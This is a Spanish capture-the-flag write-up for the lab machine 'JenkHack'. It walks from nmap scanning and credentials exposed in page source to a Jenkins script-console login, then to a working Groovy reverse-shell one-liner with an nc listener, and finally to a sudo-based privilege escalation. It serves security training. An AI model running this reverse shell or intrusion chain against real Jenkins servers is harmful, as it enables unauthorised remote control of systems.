# JenkHack

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEhYrFMrsspAx4abCVuga%2Fimage.png?alt=media&#x26;token=ece3cdd3-3a35-4f81-a74d-d66d259ba148" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjVG0KApJMQ82bOCKgsZG%2Fimage.png?alt=media&#x26;token=793d46d4-376a-49c8-be7f-bb043615043e" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP,** el **puerto 443** perteneciente al **servicio HTTPS** y el **puerto 8080** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80,443,8080 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGqyziSdjcwofhNmj1Gqk%2Fimage.png?alt=media&#x26;token=5afa9d03-8e0e-4a10-a974-9e2b97243139" alt=""><figcaption></figcaption></figure>

Añadimos el dominio al fichero `/etc/hosts`. Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web llamada Hacker Nexus.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FD3Ll4BSuognHAnAtfOP2%2Fimage.png?alt=media&#x26;token=ba255963-f2b6-470e-920e-f9e2d8e85b9a" alt=""><figcaption></figcaption></figure>

Revisando el código fuente hay parece unas credenciales del usuario **admin**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FsoHeMrQ3Rfqlui4AILu2%2Fimage.png?alt=media&#x26;token=7d9219ce-f91a-41de-a7f9-dd68917e5621" alt=""><figcaption></figcaption></figure>

Miramos el contenido del **puerto 8080** y hay un panel de Login de **Jenkins**. Ingresamos esas credenciales.

### 🚀 **EXPLOTACIÓN**

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FaJYqS67dB2eAx8L7TbQ5%2Fimage.png?alt=media&#x26;token=318af6fa-3ca2-4ccb-a5d6-28c041dca91a" alt=""><figcaption></figcaption></figure>

Estamos dentro. Seleccionamos **manage jenkin**s y luego **script console** que nos permite enviar una reverse shell mediante **Groovy** mediante nos ponemos en escucha.

```
String host="172.17.0.1";int port=443;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

```
nc -nvlp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOXQy5OTVBA0GJzFHRmo7%2Fimage.png?alt=media&#x26;token=ffbc8dc5-6dd1-4009-b9cf-0c82ea89a713" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos SUDO.

Indagando entre los directorios encontramos un archivo que descodificamos con este [página](https://gchq.github.io/CyberChef/#recipe=From_Base85\('!-u',true,'z'\)\&input=QzFWOXVCbDghJ0NpKmB1RGZQ).

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIWIn5ckUf3HsLMwizpzA%2Fimage.png?alt=media&#x26;token=92882b12-d900-4ca7-bc9d-c2ac293d4122" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F25mZM3PkuHdXtCI1ZMFD%2Fimage.png?alt=media&#x26;token=fbb51ed2-f2c9-4272-b390-9f75f3d871eb" alt=""><figcaption></figcaption></figure>

Nos logueamos con esas credenciales.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FbvphYv9KhK1aoiWdD8u7%2Fimage.png?alt=media&#x26;token=dbf3fe3e-5b5d-4fca-a48d-a7c138f98075" alt=""><figcaption></figcaption></figure>

Tenemos permisos SUDO con bash por lo que miramos como elevar los privilegios con esta [página](https://gtfobins.github.io/gtfobins/bash/). Hay un archivo en el directorio `/opt` llamado **bash.sh**. Borramos el archivo y editamos su contenido.

```bash
#!/bin/bash
whoami
/bin/bash
```

Le damos permiso al archivo.

```bash
chmod +x bash.sh
```

Ejecutamos.

```bash
sudo /usr/local/bin/bash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoJlXTgHtgyjtMZcqBu4c%2Fimage.png?alt=media&#x26;token=66ed1886-350c-492b-8033-00d13ee90943" alt=""><figcaption></figcaption></figure>
